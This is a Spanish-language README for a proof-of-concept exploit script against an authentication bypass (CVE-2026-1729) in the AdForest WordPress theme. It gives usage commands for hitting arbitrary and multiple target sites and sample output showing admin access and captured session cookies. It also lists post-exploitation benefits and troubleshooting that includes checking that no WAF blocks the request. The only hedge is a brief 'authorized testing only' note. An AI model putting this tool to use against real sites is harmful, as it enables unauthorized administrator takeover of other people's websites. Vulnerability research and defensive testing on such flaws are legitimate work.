CVE-2026-1729 - Bypass de autenticación de AdForest WordPress PoC

Descripción

Prueba de concepto simple para CVE-2026-1729 (PoC) - Vulnerabilidad de bypass de autenticación en el tema AdForest de WordPress. Escrito por f3ds cr3w est 2oo2 blog

Características

• ✅ Acceso directo de administrador sin credenciales
• ✅ Funciona en instancias de WordPress en producción
• ✅ No requiere configuración de Docker
• ✅ Interfaz de línea de comandos simple
• ✅ Persistencia de sesión

Requisitos

• Python 3.6+
• Biblioteca requests

Instalación

pip install requests

Uso

Uso básico

python poc/exploit.py https://target-site.com

Apuntar a una ID de usuario específica

python poc/exploit.py https://target-site.com --user-id 2

Ejemplos

# Explotar el admin predeterminado (ID de usuario 1)
python poc/exploit.py https://example.com

# Explotar una cuenta de usuario específica
python poc/exploit.py https://example.com --user-id 5

# Probar múltiples objetivos
python poc/exploit.py https://site1.com
python poc/exploit.py https://site2.com --user-id 3

Salida

CVE-2026-1729 - AdForest WordPress Authentication Bypass
=======================================================
WARNING: For authorized testing only!
=======================================================
[+] Target: https://example.com
[+] Targeting user ID: 1
[+] Sending exploit to: https://example.com/wp-admin/admin-ajax.php
[+] SUCCESS! Admin access granted
[+] Admin URL: https://example.com/wp-admin/
[+] Session cookies: {'wp-settings-time-1': '1234567890', 'wordpress_logged_in_...': '...'}
[+] Logged in as: admin

🎯 Exploit completed successfully!
You now have admin access to the WordPress site.

Qué sucede después del exploit

1. Acceso de administrador: Obtienes acceso completo de administrador a /wp-admin/
2. Persistencia de sesión: El exploit mantiene las cookies de sesión
3. Información del usuario: Muestra qué cuenta has comprometido
4. Acceso directo: Puedes acceder inmediatamente al panel de administración de WordPress

Notas

• Uso legal: Usa esto solo en sitios que te pertenezcan o sobre los que tengas permiso explícito para realizar pruebas
• Requisitos del objetivo: El sitio debe tener instalado el tema AdForest
• Tasa de éxito: Funciona en versiones vulnerables del tema AdForest
• Sin instalación: No es necesario instalar nada en el servidor objetivo

Solución de problemas

Si el exploit falla:

1. Verifica que el tema AdForest esté instalado
2. Comprueba si el sitio ejecuta WordPress
3. Asegúrate de que la versión del tema sea vulnerable
4. Asegúrate de que ningún WAF o plugin de seguridad esté bloqueando la solicitud